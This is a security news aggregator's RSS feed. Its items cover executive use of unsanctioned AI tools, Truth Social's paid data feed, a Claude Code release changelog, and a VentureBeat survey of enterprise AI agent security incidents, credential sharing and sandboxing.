<description><![CDATA[Shadow IT has long been a major problem for CISOs, but the biggest problem may be coming from the executive suite’s hunger for unsanctioned AI.



Nearly two-thirds of senior decision-makers admit to using unapproved AI tools, compared to just 31% of lower-level employees, according to a survey b...]]></description>
<link>https://tsecurity.de/de/3675293/it-security-nachrichten/senior-executives-are-killing-your-shadow-ai-strategy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675293/it-security-nachrichten/senior-executives-are-killing-your-shadow-ai-strategy/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Shadow IT has long been a major problem for CISOs, but the biggest problem may be coming from the executive suite’s hunger for unsanctioned AI.</p>



<p class="wp-block-paragraph">Nearly two-thirds of senior decision-makers admit to using <a href="https://www.cio.com/article/4178359/why-your-most-ai-savvy-employees-are-driving-shadow-ai.html">unapproved AI tools</a>, compared to just 31% of lower-level employees, according <a href="https://www.trustedtechteam.com/pages/shadow-ai-whitepaper-download">to a survey</a> by Microsoft solutions partner TrustedTech.</p>



<p class="wp-block-paragraph">The use of <a href="https://www.cio.com/article/647725/it-leaders-grapple-with-shadow-ai.html">shadow AI</a> is prevalent among senior executives even though three in four employees acknowledge security or data privacy risks related to the practice.</p>



<p class="wp-block-paragraph">“Most shadow AI users are not ignorant of the risk,” TrustedTech says in a white paper. “They are deliberately choosing to use these tools anyway. This is not a training issue. It is a culture, incentives, and alternatives issue.”</p>



<p class="wp-block-paragraph">In many cases, the problem is driven by a lack of approved tools, the report adds.</p>



<p class="wp-block-paragraph">“People use shadow AI because what their employer hands them is worse than mainstream AI tools, or because nothing has been approved in the first place,” the report says. “That doesn’t change until the sanctioned tools are genuinely worth using.”</p>



<h2 class="wp-block-heading">A question of authority</h2>



<p class="wp-block-paragraph">The use of shadow AI by CEOs and other C-suite executives can create major problems for CISOs, CIOs, and other IT executives because they may not have the authority to put the kibosh on it.</p>



<p class="wp-block-paragraph">It also presents a challenge for IT leaders to provide the AI tools that employees and executives want to use.</p>



<p class="wp-block-paragraph">When executives use shadow AI, CISOs are in a difficult position, because governance only works when it’s modeled from the top, says<a href="https://www.linkedin.com/in/annolan/"> Andy Nolan,</a> VP of technology at TrustedTech.</p>



<p class="wp-block-paragraph">“If senior leaders bypass approved AI tools or policies, it sends an implied message that speed matters more than security and compliance,” he adds. “Employees notice that behavior, and it becomes much harder to ask the rest of the organization to follow standards that leadership isn’t following themselves, first.”</p>



<p class="wp-block-paragraph">Another major problem is that executives often work with highly sensitive information, including financial data, strategic plans, intellectual property, and customer information, he notes.</p>



<p class="wp-block-paragraph">But CISOs and CIOs also can’t solve the problem by becoming the AI police in every situation, Nolan says, because their role is to help the business innovate safely.</p>



<p class="wp-block-paragraph">“That requires executive alignment, clear governance, and providing secure AI tools that people actually want to use,” he adds. “When leadership embraces those solutions, the rest of the organization is almost sure to follow.”</p>



<h2 class="wp-block-heading">All risk, no reward</h2>



<p class="wp-block-paragraph">The use of shadow AI by senior executives puts CISOs and CIOs in an impossible position, agrees <a href="https://www.linkedin.com/in/amit-maloo-b087291/">Amit Maloo</a>, CISO at AI procurement provider Ivalua. CISOs and CIOs are <a href="https://www.cio.com/article/4182288/cios-are-being-held-accountable-for-ai-they-dont-fully-control-ibm-study-finds.html?utm=hybrid_search">held accountable</a> for the risk exposure but have no visibility into the problem, he says.</p>



<p class="wp-block-paragraph">“When senior leaders use ungoverned AI tools for business decisions, those decisions still have consequences, such as financial commitments, contract reviews, and data sharing,” he adds. “But there is no audit trail, no permissions model, or no way to reconstruct what happened or why.”</p>



<p class="wp-block-paragraph">Part of the problem is that approved AI options often don’t meet the needs of users, Maloo says.</p>



<p class="wp-block-paragraph">“AI policies alone aren’t enough; organizations need to pair governance with usability,” he adds. “If approved AI tools don’t meet the pace of business, employees at every level, including leadership, will find their own solutions. Successful organizations will be those that make the secure path the easiest path.”</p>



<p class="wp-block-paragraph">IT leaders can’t solve the problem with more governance, he notes. “Policies and restrictions slow shadow AI down, but they don’t stop it, especially when the people using it are senior enough to absorb the disciplinary risk,” Maloo adds. “What CIOs can do is focus on providing tools that grant users full access to the necessary systems and data, eliminating the need to choose between a capable but ungoverned tool and a safe but limited one.”</p>



<h2 class="wp-block-heading">Speed over security</h2>



<p class="wp-block-paragraph">The TrustedTech data echoes a <a href="https://www.teramind.co/l/shadow-ai-report-2026/">June report</a> from employee monitoring software vendor Teramind, which found that more than two-thirds of C-level executives prioritize speed over security when using AI tools, notes <a href="https://www.linkedin.com/in/nikkale/">Nik Kale</a>, a principal engineer and product architect at Cisco, and member of the Coalition for Secure AI.</p>



<p class="wp-block-paragraph">In addition, the Teramind report found that two-thirds of enterprise AI activity runs through personal accounts on platforms for which the company already owns licenses, he notes.</p>



<p class="wp-block-paragraph">“People are paying for the governed version and using the ungoverned version of the same product, so the problem isn’t the tools,” he says. “The approved path is slower, buried in procurement, or disconnected from where the work actually happens, and speed wins every time under a deadline.”</p>



<p class="wp-block-paragraph">The problem then isn’t with the AI tools, but with the friction involved, he says. “People aren’t going around the front door because the room is locked,” Kale adds. “They’re going around it because the front door is slower.”</p>



<p class="wp-block-paragraph">In many cases, the use of shadow AI exposes a couple of shortcomings in enterprise processes, adds <a href="https://www.linkedin.com/in/matt-scavetta-018b10173/">Matthew Scavetta</a>, chief technology innovation officer at IT solutions provider Future Tech Enterprise.</p>



<p class="wp-block-paragraph">Many organizations don’t do a good job of making employees aware of the AI tools available to them, he says, and many organizations don’t offer training on the sanctioned applications, which drives users to pick products they are familiar with.</p>



<p class="wp-block-paragraph">“If you don’t solve problems for people quickly or make people aware of which tools they can use safely, they will find a workaround,” he adds. “AI tools are no different than anything else.”</p>



<p class="wp-block-paragraph">Shadow AI use by executives puts IT leaders in an incredibly difficult position, he says.</p>



<p class="wp-block-paragraph">“CIOs, in particular, are under more and more pressure each year to keep up with what’s possible as tech influencers keep preaching about the potential of these tools,” Scavetta says. “CEOs and board members are constantly getting swept up in the hype; meanwhile, there are more and more case studies coming out showing how little ROI some organizations have realized. It’s a never-ending game of balancing possible with practical.”</p>
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<title><![CDATA[Truth Social To Sell Wall Street Firms the 'Fastest' Access To Trump's Post]]></title>
<description><![CDATA[An anonymous reader quotes a report from NBC News: Trump Media & Technology Group has unveiled a paid-for, licensed data feed that will give banks and trading firms "the fastest" access to posts from influential Truth Social accounts, such as President Donald Trump's, whose posts often move globa...]]></description>
<link>https://tsecurity.de/de/3675000/it-security-nachrichten/truth-social-to-sell-wall-street-firms-the-fastest-access-to-trumps-post/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675000/it-security-nachrichten/truth-social-to-sell-wall-street-firms-the-fastest-access-to-trumps-post/</guid>
<pubDate>Fri, 17 Jul 2026 05:52:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from NBC News: Trump Media &amp; Technology Group has unveiled a paid-for, licensed data feed that will give banks and trading firms "the fastest" access to posts from influential Truth Social accounts, such as President Donald Trump's, whose posts often move global markets. The product, called 'Truth API,' will deliver posts from the 10 most influential accounts to customers at a significantly faster pace than a regular push notification on the Truth Social platform, a spokesperson said. The feed is designed for organizations "most impacted by the cost of a delay in information," such as algorithmic trading firms, the company said in a statement. "Until now... firms that prioritize tracking influential Truth posts have relied on manual monitoring. Truth API closes the gap." "Markets already move on Truth Social posts ... As adoption grows, we expect Truth API to become a meaningful, ongoing source of revenue for the company," TMTG's interim CEO Kevin McGurn said.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Truth+Social+To+Sell+Wall+Street+Firms+the+'Fastest'+Access+To+Trump's+Post%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F17%2F0022208%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
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</div><p><a href="https://tech.slashdot.org/story/26/07/17/0022208/truth-social-to-sell-wall-street-firms-the-fastest-access-to-trumps-post?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[6 Best Linux Monitoring Software & Tools for 2026]]></title>
<description><![CDATA[When Linus Torvalds released the first version of his Linux Kernel way back in 1991, nobody thought it would ever grow to what it has become. Today, Linux is everywhere and although it hasn’t made it very far as a mainstream desktop operating system, it is now commonplace on servers. Just like se...]]></description>
<link>https://tsecurity.de/de/3674917/betriebssysteme/6-best-linux-monitoring-software-tools-for-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674917/betriebssysteme/6-best-linux-monitoring-software-tools-for-2026/</guid>
<pubDate>Fri, 17 Jul 2026 04:10:06 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Linus Torvalds released the first version of his Linux Kernel way back in 1991, nobody thought it would ever grow to what it has become. Today, Linux is everywhere and although it hasn’t made it very far as a mainstream desktop operating system, it is now commonplace on servers. Just like servers running any […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/net-admin/best-linux-monitoring-tools/">6 Best Linux Monitoring Software &amp; Tools for 2026</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
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<title><![CDATA[v2.1.212]]></title>
<description><![CDATA[What's changed

/fork now copies your conversation into a new background session (its own row in claude agents) while you keep working; the in-session subagent it used to launch is now /subtask
Added claude auto-mode reset to restore the default auto-mode configuration, with a confirmation prompt...]]></description>
<link>https://tsecurity.de/de/3674861/downloads/v21212/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674861/downloads/v21212/</guid>
<pubDate>Fri, 17 Jul 2026 02:31:39 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li><code>/fork</code> now copies your conversation into a new background session (its own row in <code>claude agents</code>) while you keep working; the in-session subagent it used to launch is now <code>/subtask</code></li>
<li>Added <code>claude auto-mode reset</code> to restore the default auto-mode configuration, with a confirmation prompt (pass <code>--yes</code> to skip)</li>
<li>Added a session-wide limit on WebSearch tool calls (default 200, tunable via <code>CLAUDE_CODE_MAX_WEB_SEARCHES_PER_SESSION</code>) to stop runaway search loops</li>
<li>Added a per-session cap on subagent spawns (default 200, override with <code>CLAUDE_CODE_MAX_SUBAGENTS_PER_SESSION</code>) to stop runaway delegation loops; <code>/clear</code> resets the budget</li>
<li>MCP tool calls running longer than 2 minutes now move to the background automatically so the session stays usable; configure the threshold or disable with <code>CLAUDE_CODE_MCP_AUTO_BACKGROUND_MS</code></li>
<li>Typing <code>/resume</code> in the agent view now opens a picker of past sessions — including sessions deleted from the list — and resumes your pick as a background session</li>
<li>Fixed plan mode auto-running file-modifying Bash commands (e.g. <code>touch</code>, <code>rm</code>) without a permission prompt or SDK <code>canUseTool</code> callback</li>
<li>Fixed worktree creation following a repository-committed symlink at <code>.claude/worktrees</code>, which could create files outside the repository</li>
<li>Fixed a <code>continue:false</code> hook's halt being dropped when the tool fails or completes mid-stream, and hook infrastructure errors being misreported as user rejections</li>
<li>Fixed SIGTERM during a running Bash tool orphaning the command's process tree in print/SDK mode; the CLI now aborts the turn, kills the tree, and exits 143</li>
<li>Fixed <code>/background</code> and <code>claude --bg</code> failing with "EUNKNOWN: unknown error, uv_spawn" on Windows when Group Policy blocks PowerShell 5.1; the daemon now prefers PowerShell 7</li>
<li>Fixed shell mode (<code>!</code>) not executing commands containing file paths while the path autocomplete popup was open</li>
<li>Fixed auto-mode denial notifications rendering broken characters when a long denial reason was truncated mid-emoji</li>
<li>Fixed Ctrl+J not inserting a newline in the agent view dispatch input on terminals with extended key reporting, and surfaced the newline shortcut in the <code>?</code> help overlay</li>
<li>Fixed <code>/ultrareview</code> rejecting PR references like <code>#123</code>, <code>PR 123</code>, and pasted PR URLs; error hints now name the command you actually typed</li>
<li>Fixed <code>/ultrareview &lt;branch&gt;</code> not fetching the branch from origin when it exists remotely; it now suggests the closest branch name on typos</li>
<li>Fixed <code>/ultrareview</code> skipping the billing confirmation in a new conversation after <code>/clear</code></li>
<li>Fixed <code>/ultrareview</code>'s "not a git repository" error on Claude Desktop now suggesting the project's repository folder instead of terminal commands</li>
<li>Fixed hosted (host-managed) sessions failing at startup when repository settings configured mTLS certs, extra CA bundles, or OAuth scopes; these transport settings are now ignored with a warning</li>
<li>Fixed a spurious "File has not been read yet" error when editing a file that had been read with offset/limit before resuming a session</li>
<li>Fixed <code>ExitWorktree</code> failing with "no active EnterWorktree session" after resuming a session with <code>--continue</code>/<code>--resume</code> in print/SDK mode</li>
<li>Fixed the workflow agent grid staying empty for Remote Control clients that join a session mid-run</li>
<li>Fixed streaming-mode control requests being marked complete before their handler finished, which could lose the request on session restart</li>
<li>Fixed background sessions created with <code>/fork</code> losing their live-parent protection after a state write failure</li>
<li>Fixed reopening a stopped background session from the agent view failing silently — it now resumes the session, or shows why it can't and lets you force a restart</li>
<li>Fixed agent teams: a stopping teammate could send the leader duplicate idle notifications when team initialization re-ran within a session</li>
<li>Fixed the plan-approval dialog footer splitting "ctrl+g to edit in " apart when the file path is long</li>
<li>Fixed the welcome banner keeping its old panel widths after a combined width+height terminal resize in fullscreen mode</li>
<li>Fixed diff previews losing their line numbers and +/- markers in narrow layouts</li>
<li>Fixed @-mentions attaching nothing after a partial file read, plugin uninstall targeting the wrong marketplace, and false "Command timed out" on exit code 143</li>
<li>Fixed OpenTelemetry HTTP exports being rejected with 411/400 by Azure Monitor and other endpoints that don't accept chunked transfer encoding</li>
<li>Fixed OTLP event log records missing <code>trace_id</code>/<code>span_id</code> when <code>TRACEPARENT</code> is set in SDK/headless mode</li>
<li>Fixed conversations with many images incorrectly failing with "Request too large" errors, and improved the error message to explain the actual cause</li>
<li>Fixed web search and web fetch returning "API Error" text as search results or page content when the API was overloaded</li>
<li>Improved web search and web fetch reliability by retrying 529 errors and rate-limited requests with bounded backoff</li>
<li>Improved prompt caching: the mid-conversation system block now works behind LLM gateways and custom base URLs (Bedrock, Vertex, 1P)</li>
<li>Improved background agent attach: cold-attaching now instantly shows the formatted transcript while the session boots, instead of a blank wait</li>
<li>Reduced token usage in inter-agent messaging: <code>SendMessage</code> bodies are no longer duplicated into replayed history and tool results</li>
<li>Changed <code>/fork</code> to name the copy after your prompt when the session has no title, so the row is recognizable in the agent view</li>
<li>Changed bare <code>/btw</code> to reopen the side-question panel on your most recent exchange so you can browse earlier answers</li>
<li>Changed the <code>←</code> footer hint to pulse <code>N done</code> for a moment when a background agent finishes while nothing needs your input</li>
<li>Deprecated the Task tool's <code>mode</code> parameter (now ignored); subagents inherit the parent session's permission mode by default</li>
<li>Changed Enterprise <code>forceLoginMethod</code> to be enforced for VS Code extension, SDK, <code>setup-token</code>, and <code>install-github-app</code> logins, not just the terminal</li>
<li>Changed session transcripts to record the reasoning effort level on each assistant message</li>
<li>Changed headless/SDK sessions to apply a <code>set_model</code> control request mid-turn; the next model round-trip uses the new model instead of waiting for the next turn</li>
<li>Changed agent view / <code>claude agents --json</code>: sessions waiting on a sandbox, MCP-input, or managed-settings prompt now show as "Needs input" instead of "Working"</li>
<li>Updated the auth status panel title from "Cloud authentication" to "Authentication"</li>
<li>Corrected an earlier release note (2.1.200): tmux through the 3.6 series lacks synchronized output; newer tmux with support is detected automatically</li>
</ul>]]></content:encoded>
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<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 16 Jul 2026 21:47:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
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<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3674340/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674340/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 16 Jul 2026 20:02:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
